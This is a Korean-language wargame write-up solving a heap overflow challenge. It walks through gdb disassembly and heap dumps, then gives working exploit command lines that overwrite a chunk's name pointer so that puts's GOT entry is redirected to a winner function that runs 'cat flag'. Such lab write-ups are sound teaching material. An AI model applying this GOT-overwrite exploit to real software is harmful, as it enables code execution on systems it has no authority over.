heap overflow 문제풀이2

문제 소스코드입니다. heap영역을 오버플로우 해서 winner 함수를 실행 시키면 될 것 같습니다.

gdb로 분석해보겠습니다.

(gdb) b*main+139
Breakpoint 1 at 0x80485c0
(gdb) r AAAAAAAA BBBBBBBB
Starting program: /home/heapgot/heapgot AAAAAAAA BBBBBBBB

Breakpoint 1, 0x080485c0 in main ()

argv1에 A 8개와 argv2에 B 8개를 인자로 입력하고 gdb를 돌려보겠습니다.

   0x0804853b <+6>:	push   0x8                       i1 = malloc(8)
   0x0804853d <+8>:	call   0x80483c0 <malloc@plt>   
   0x08048542 <+13>:	add    esp,0x4
   0x08048545 <+16>:	mov    DWORD PTR [ebp-0x4],eax
   0x08048548 <+19>:	mov    eax,DWORD PTR [ebp-0x4]
   0x0804854b <+22>:	mov    DWORD PTR [eax],0x1       //priority = 1
   0x08048551 <+28>:	push   0x8
   0x08048553 <+30>:	call   0x80483c0 <malloc@plt>    //name = malloc(8)
   0x08048558 <+35>:	add    esp,0x4
   0x0804855b <+38>:	mov    edx,eax
   0x0804855d <+40>:	mov    eax,DWORD PTR [ebp-0x4]
   0x08048560 <+43>:	mov    DWORD PTR [eax+0x4],edx   //i1 -> name
   ;--------------------------------------------------------------------------------------------
   0x08048563 <+46>:	push   0x8
   0x08048565 <+48>:	call   0x80483c0 <malloc@plt>    //i2 = malloc(8)
   0x0804856a <+53>:	add    esp,0x4
   0x0804856d <+56>:	mov    DWORD PTR [ebp-0x8],eax
   0x08048570 <+59>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048573 <+62>:	mov    DWORD PTR [eax],0x2       //priority = 2
   0x08048579 <+68>:	push   0x8
   0x0804857b <+70>:	call   0x80483c0 <malloc@plt>    //name = malloc(8)
   0x08048580 <+75>:	add    esp,0x4
   0x08048583 <+78>:	mov    edx,eax
   0x08048585 <+80>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048588 <+83>:	mov    DWORD PTR [eax+0x4],edx   //i2 -> name

priority의 주소는 main+22에 브레이크 포인트를 걸고 (gdb) i r $eax 를 하면 나옵니다.

아래는 두개의 strcpy() 함수에 대한 부분입니다.

   0x08048596 <+97>:	mov    eax,DWORD PTR [eax+0x4]
   0x08048599 <+100>:	push   edx
   0x0804859a <+101>:	push   eax
   0x0804859b <+102>:	call   0x80483b0 <strcpy@plt>   
   0x080485a0 <+107>:	add    esp,0x8
   0x080485a3 <+110>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080485a6 <+113>:	add    eax,0x8
   0x080485a9 <+116>:	mov    edx,DWORD PTR [eax]
   0x080485ab <+118>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080485ae <+121>:	mov    eax,DWORD PTR [eax+0x4]
   0x080485b1 <+124>:	push   edx
   0x080485b2 <+125>:	push   eax 
   0x080485b3 <+126>:	call   0x80483b0 <strcpy@plt>

마지막으로 코드 마지막의 puts 함수입니다.

0x080485bb <+134>:	push   0x8048674
0x080485c0 <+139>:	call   0x80483d0 <puts@plt>

AAAAAAAA BBBBBBBB 을 인자로 입력한 후 메모리를 살펴보겠습니다. 

(gdb) x/20x 0x804b008
0x804b008:	0x00000001	0x0804b018	0x00000000	0x00000011
0x804b018:	0x41414141	0x41414141	0x00000000	0x00000011
0x804b028:	0x00000002	0x0804b038	0x00000000	0x00000011
0x804b038:	0x42424242	0x42424242	0x00000000	0x00020fc1
0x804b048:	0x00000000	0x00000000	0x00000000	0x00000000

0x804b18에 argv1이 들어갔습니다. 그리고 0x804b38에 argv2가 들어갔습니다.

그리고 위에 0x803b008에서 priority값인 1과 다음 4바이트에 argv1이 들어갈 주소가 있습니다. 마찬가지로 0x803b28도 priority값인 2와 argv2의 주소가 있습니다.

공격 벡터를 찾았습니다. strcpy함수를 이용해서 이 부분을 공격해야합니다.

익스플로잇은 argv1에 임의의 값인 A를 20바이트를 넣어서 0x804b28까지 채웁니다.

그리고 0x804b02c에는 puts 함수의 got를 넣어야 합니다. puts 함수의 got는 아래와 같이 구할 수 있습니다.

(gdb) x/i 0x80483d0
  0x80483d0 :	jmp    DWORD PTR ds:0x804a01c
(gdb) x/x 0x804a01c
0x804a01c <puts@got.plt>:	0x080483d6

그리고 argv2에는 winner 함수의 주소를 넣어줍니다. 

(gdb) p winner
$2 = {<text variable, no debug info>} 0x804850b <winner>

따라서 공격 코드는 ./heapgot `python -c 'print "A"*20+"\x1c\xa0\x04\x08"+" "+"\x0b\x85\x04\x08"'`

문제가 풀릴줄 알고 코드를 입력했는데 winner함수는 실행이 되지만 segment fault가 뜨면서 cat flag는 실행하지 못합니다.

어떤 문제가 있을까 찾다가 우연히 얻어걸린 코드가 아래와 같습니다.

./heapgot `python -c 'print "A"*20+"\x1c\xa0\x04\x08"+" "+"\x0b\x85\x04\x08\xe6\x83\x04\x08"'`

추가로 system 함수의 got를 적어주면 system 함수의 "cat flag" 명령을 성공적으로 수행합니다.